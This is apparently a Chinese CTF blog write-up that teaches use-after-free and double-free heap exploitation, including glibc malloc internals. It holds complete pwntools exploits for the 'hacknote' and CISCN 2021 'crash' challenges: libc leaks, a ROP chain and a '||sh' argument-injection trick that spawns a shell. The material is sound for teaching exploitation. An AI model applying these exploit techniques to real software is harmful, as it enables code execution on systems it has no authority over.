UAF

pic

原理

就是某块内存释放后,任能被用户使用,即存在野指针(一般是free后没有将指针置NULL)

样例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}

malloc内存对齐

在大多数情况下,编译器和C库透明地帮你处理对齐问题。POSIX 标明了通过malloc( ), calloc( ), 和 realloc( ) 返回的地址对于任何的C类型来说都是对齐的。这样可以避免内存中的碎片,提高程序效率。

来看下malloc.h的部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#  define MALLOC_ALIGNMENT       (2 *SIZE_SZ < __alignof__ (long double)   
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

/* The smallest possible chunk */
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))

/* The smallest size we can malloc is an aligned minimal chunk */

#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))

/* pad request bytes into a usable size -- internal version */

#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)


struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

翻译翻译就是malloc在对其的时侯,其对其参数必须是2的幂且在32为下8byte,64位下为16byte

但是最小分配单位并不是对齐单位,最小分配单位MINSIZE:

计算MINSIZE=(16+8-1) & ~(8-1)=16字节

即32位下malloc的最小分配单位为16字节,64位下最小分配单位为32字节。

其中request2size就是malloc的内存对齐操作。

从request2size还可以知道,如果是64位系统,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。 如果是32位系统,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。(类似计算MINSIZE)

UAF 的利用

当申请两个fastbin范围内的堆块后,fastbin如下图所示

31.png-16.6kB

此时可以利用UAF修改chunk0的指针,当我们再次申请出这两个堆的时候,就可以申请到想要修改的地址处,进行后续的一些修改

double free

double free 和 UAF 一样同样也是由于指针为清空造成的漏洞,与UAF的漏洞利用方式差不多,常被用于与fastbin attack 组合利用

下面介绍一种利用double free 来达到任意地址写的利用方式

当申请两个堆块并且释放时fastbin中有如下结构:

fastbin[Y] -> chunk1 -> chunk0

而此时我们再次释放chunk1

fastbin[Y] -> chunk0 ->  <- chunk1 

如果我们此时申请一个新的chunk

32.png-14.2kB

此时修改new chunk的指针

33.png-19.6kB

再申请一个chunk1

34.png-17.1kB

在申请一个chunk后这个chunk就会合chunk1重合,且fastbin链表已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。

35.png-21.6kB

例题

hacknote

IDA 分析

add
25.png-60.2kB

delete
26.png-44.3kB

利用思路

27.png-77.8kB

由上图可以看到,当我们申请一个note的时候,此时堆块的结构如下图所示

28.png-23.5kB

具体利用方式如下

我们申请两个note,在进行释放

1
2
3
4
5
add(0x20,'aaaa')
add(0x20,'aaaa')

delete(0)
delete(1)

29.png-24.9kB

此时struct note被放到fastbin[0] , content 被放入fastbin3

如果我们申请一个大小在fastbin[0]范围内的堆note2,那么note2 的struct note 和 content就会分别是fastbin[0]中的note1,和note0的struct note

因此新建的note2的strcut note将被分配到note1的结构体位置,note2的content将被分配到note0的结构体位置,note0八字节的结构体处分别存放了打印函数0x804862b和其参数地址,现在将被我们输入的content覆盖

如果我们将content 覆盖为 __libc_start_main的地址 那么我们就可以泄露 libc 了 , 同理可以梅开二度getshell

这里还有一个小坑,覆盖后system的参数实际上是从note0结构体开始的,所以要用到system参数截断的姿势,如:&&sh,||sh,;sh;

30.png-84kB

可以看到最后成功调用了system(‘sh’)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level='debug'

#p = remote('node4.buuoj.cn',27510)
p=process('./hacknote')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('hacknote')


def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)

def delete(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))

def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))

libc_start_main = elf.got['__libc_start_main']

add(0x20,'aaaa')

add(0x20,'aaaa')
#
delete(0)
delete(1)
gdb.attach(p)
add(8,p32(0x804862B)+p32(libc_start_main))
gdb.attach(p)
show(0)

libc_base = u32(p.recv(4)) - 0x18550
print(hex(libc_base))

system = libc_base + libc.sym['system']

delete(2)
add(8,p32(system)+b'||sh')
gdb.attach(p)
show(0)


p.interactive()

CISCN 2021 西南赛区 crash

这个题和HCTF的fheap,不能说是完全相同,只能说是一模一样了,但当时只有两个队做出来

这道题在网上的解法一般都是UAF,这里提供一种double free + ret2csu 的思路

程序分析

ADD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
unsigned __int64 add()
{
int i; // [rsp+4h] [rbp-102Ch]
char *ptr; // [rsp+8h] [rbp-1028h]
char *dest; // [rsp+10h] [rbp-1020h]
size_t nbytes; // [rsp+18h] [rbp-1018h]
size_t nbytesa; // [rsp+18h] [rbp-1018h]
char buf[4104]; // [rsp+20h] [rbp-1010h] BYREF
unsigned __int64 v7; // [rsp+1028h] [rbp-8h]

v7 = __readfsqword(0x28u);
ptr = (char *)malloc(0x20uLL);
printf("Pls give data size:");
nbytes = (int)getInt();
if ( nbytes <= 0x1000 )
{
printf("data:");
if ( read(0, buf, nbytes) == -1 )
exit(1);
nbytesa = strlen(buf);
if ( nbytesa > 0xF )
{
dest = (char *)malloc(nbytesa);
if ( !dest )
exit(1);
strncpy(dest, buf, nbytesa);
*(_QWORD *)ptr = dest;
*((_QWORD *)ptr + 3) = freeLong;
}
else
{
strncpy(ptr, buf, nbytesa);
*((_QWORD *)ptr + 3) = freeShort;
}
*((_DWORD *)ptr + 4) = nbytesa;
for ( i = 0; i <= 15; ++i )
{
if ( !*((_DWORD *)&Strings + 4 * i) )
{
*((_DWORD *)&Strings + 4 * i) = 1;
qword_2020E8[2 * i] = ptr;
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
(*((void (__fastcall **)(char *))ptr + 3))(ptr);
}
}
else
{
puts("Invalid size");
free(ptr);
}
return __readfsqword(0x28u) ^ v7;
}


freeLong 的汇编代码如下, freeShort 和 它差不多都存在UAF

36.png-28.6kB

主要的漏洞点在Delete

37.png-48.5kB

利用方式

    IDA 中可以看到 call puts 与 freeShort 和 freeLong在同一
页,这样的话如果我们可以利用double free覆盖freeLong的地址的后两位
为call puts的地址,当我们delete的时候就会调用call puts 打印出字符
串地址开始的内容,call puts 的地址就在这串内容里,这样可以泄露程序
基址。

拿到程序地址之后就可以结合double free 利用delete的里溢出来ret2csu

bss段没有足够的空间来写入/bin/sh所以要往data段写

具体不多说(主要是懒):直接上exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from os import system
from pwn import *

p = process("crash")
context.log_level = 'debug'
libc = ELF('libc-2.23.so')
elf = ELF('crash')
#p = remote('192.168.43.181',55000)
def add(size,data):
p.sendline('add ')
p.sendlineafter('Pls give data size:',str(size))
p.sendlineafter('data:',data)

def dele(idx):
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(idx))
p.sendafter('Are you sure?:','yes')


add(4,'aaa')
add(4,'aaa')

dele(0)
dele(1)
dele(0)

add(0x20,'\x00')
add(0x20,b'c'*0x18+b'\x0b\x00')
dele(0)

p.recvuntil(b'c'*0x18)
elf_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xd0b
print(hex(elf_base))

dele(1)

'''
0x000000000000119c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000119e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000011a0 : pop r14 ; pop r15 ; ret
0x00000000000011a2 : pop r15 ; ret
0x000000000000119b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000119f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000a80 : pop rbp ; ret
0x00000000000011a3 : pop rdi ; ret
0x00000000000011a1 : pop rsi ; pop r15 ; ret
0x000000000000119d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000929 : ret
0x0000000000000962 : ret 0x2016
0x000000000000102b : ret 0x8b48
0x0000000000000dd2 : ret 0x8d48

'''

pop_rdi = elf_base + 0x11a3
puts_plt = elf_base + elf.plt['puts']
puts_got = elf_base + elf.got['puts']
main = elf_base + elf.sym['main']
pop_4 = elf_base + 0x119c
read_got = elf_base + elf.got['read']
pop_6 = elf_base + 0x119a
rop2 = elf_base + 0x1180
bin_sh = elf_base + 0x202080

add(0x4,b'\x00') #1
add(0x20,b'd'*0x18+p64(pop_4)) #0
payload1 = p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_6)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bin_sh)+p64(0)+p64(rop2)+b'\x00'*56+p64(main)

payload1 = b"yes\x00\x00\x00\x00\x00" + payload1

p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('Are you sure?:')
p.send(payload1)
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.symbols['system']
p.send(b"/bin/sh\x00")

dele(0)

add(0x4,b'\x00') #1
add(0x20,b'd'*0x18+p64(pop_4)) #0

payload2 = p64(pop_rdi) + p64(bin_sh) + p64(system_addr) + p64(main)
payload2 = b'yes'.ljust(8,b'\x00') + payload2
#gdb.attach(p)
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('Are you sure?:')
p.send(payload2)

#gdb.attach(p)
dele(0)
p.interactive()

##参考链接
https://blog.csdn.net/qq_35429581/article/details/78231443
https://www.cnblogs.com/luoleqi/p/12343147.html
https://blog.csdn.net/Breeze_CAT/article/details/103788698